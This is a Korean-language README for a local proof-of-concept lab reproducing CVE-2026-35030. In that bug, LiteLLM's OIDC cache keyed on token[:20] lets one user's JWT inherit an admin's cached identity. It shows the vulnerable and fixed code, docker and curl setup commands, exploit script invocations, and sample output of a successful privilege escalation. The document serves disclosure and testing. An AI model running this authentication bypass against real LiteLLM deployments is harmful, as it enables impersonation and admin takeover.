
해당 취약점을 개인적으로 재현하기 위한 코드
LiteLLM OIDC 사용자 정보 캐시는
token[:20]을 캐시 키로 사용합니다. 동일한 알고리즘으로 서명된 서로 다른 두 JWT는 처음 20자가 동일하여, 인증되지 않은 공격자가 다른 사용자의 캐시된 신원 및 권한을 상속할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Improper Authentication) / CWE-222 (Insufficiently Protected Credentials) |
| 영향받는 버전 | LiteLLM < 1.83.0 (with enable_jwt_auth: true) |
| 수정된 버전 | v1.83.0+ (cache key changed to sha256(token)) |
| 발행일 | 2026-04-06 |
| 발견자 | Veria Labs |
| 링크 | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM은 LLM API를 호출하기 위한 AI 게이트웨이/프록시 서버입니다. JWT 인증이 활성화되면 (enable_jwt_auth: true), LiteLLM은 OIDC 제공자에 대해 토큰을 검증하고 userinfo 응답을 캐시합니다.
취약점: 캐시 키는 JWT의 처음 20자만 사용합니다:
# Vulnerable code (pre-1.83.0)
cache_key = token[:20] # Only first 20 characters!
JWT는 점으로 구분된 세 개의 base64url로 인코딩된 세그먼트로 구성됩니다:
<header>.<payload>.<signature>
헤더(예: {"alg":"RS256","typ":"JWT"})는 동일한 서명 알고리즘을 사용하는 모든 토큰에 대해 동일하게 인코딩됩니다. 즉, 완전히 다른 사용자에게 발급된 두 개의 서로 다른 JWT가 동일한 처음 20자를 갖게 됩니다.
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
→ token[:20] is IDENTICAL → cache HIT → inherits admin identity
엔터프라이즈 라이선스 참고: JWT/OIDC 인증은 LiteLLM의 엔터프라이즈 전용 기능입니다. (
LITELLM_LICENSE필요). 로컬 CVE 재현을 위해 두 Dockerfile 모두premium_user검사를True로 패치합니다. 이는 취약점에 영향을 미치지 않습니다 — 캐시 키 충돌(token[:20])은 엔터프라이즈 검사와 별개로 존재합니다.첫 번째 시작 시 Prisma 마이그레이션이 실행됩니다(~60-90초). 로그에
"Uvicorn running on http://0.0.0.0:4000"이 표시되면 LiteLLM이 준비된 것입니다.
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build
# 2. Install Python dependencies
pip install -r requirements.txt
# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo
# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
데모 모드 — 캐시 키 충돌을 보여줍니다:
[+] Admin JWT (subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] Attacker JWT (subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] COLLISION: Both tokens share the same first 20 characters!
Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
익스플로잇 모드 — 실제 인증 우회를 시연합니다:
[VULNERABLE] Exploit Attempt — target: http://localhost:4000
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "admin", ...} ← INHERITED ADMIN!
[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
Attacker's token[:20] matched admin's cache key.
Response user_id='admin' (expected 'admin' for escalation)
수정된 버전 — sha256 캐시 키가 충돌을 방지합니다:
[FIXED] Exploit Attempt — target: http://localhost:4001
[*] Step 1: Obtaining JWTs from OIDC provider...
Prefix collision: True
[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] Step 3: Sending attacker JWT (cache collision attempt)...
HTTP 200
Response: {"user_id": "attacker", ...} ← OWN IDENTITY preserved
[+] Attacker identified as user_id='attacker'.
Fixed version: cache collision prevented.
litellm/proxy/auth/handle_jwt.py에서 OIDC userinfo 캐시는 token[:20]을 키로 사용합니다:
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Cache hit → skip userinfo fetch!
# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20]이 불충분한 이유| 토큰 구성 요소 | 사용자별 데이터 포함? | 동일 알고리즘에 대해 고정? |
|---|---|---|
| 헤더 (처음 ~30자) | ❌ 아니요 | ✅ 예 — 동일한 base64 |
| 페이로드 (사용자별) | ✅ 예 | ❌ 아니요 — 사용자별 고유 |
| 서명 | ✅ 예 | ❌ 아니요 — 키별 고유 |
헤더는 처음 20자 내에 있는 유일한 부분이며, 헤더는 동일한 서명 알고리즘을 사용하는 모든 토큰에 대해 동일하므로, 동일한 발급자의 모든 RS256 JWT는 정확히 동일한 처음 20자를 갖습니다.
| 시나리오 | 설명 |
|---|---|
| 권한 상승 | 낮은 권한의 사용자가 캐시 충돌을 통해 관리자가 됨 |
| 수평적 사칭 | userinfo가 캐시된 모든 사용자를 사칭 |
| 인증 우회 체인 | CVE-2026-35029와 결합하여 RCE 달성 |
CVE-2026-35030/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml # LiteLLM config with JWT auth enabled
├── requirements.txt # Python dependencies (PoC)
├── litellm-vuln/
│ └── Dockerfile # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│ └── Dockerfile # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│ ├── Dockerfile # Mock OIDC provider image
│ ├── requirements.txt
│ └── server.py # OIDC mock (FastAPI)
├── exploit/
│ ├── exploit.py # Main PoC exploit script
│ └── token_forge.py # JWT collision utilities
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
sha256(token) 사용)enable_jwt_auth: false면책 조항: 이 내용은 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다.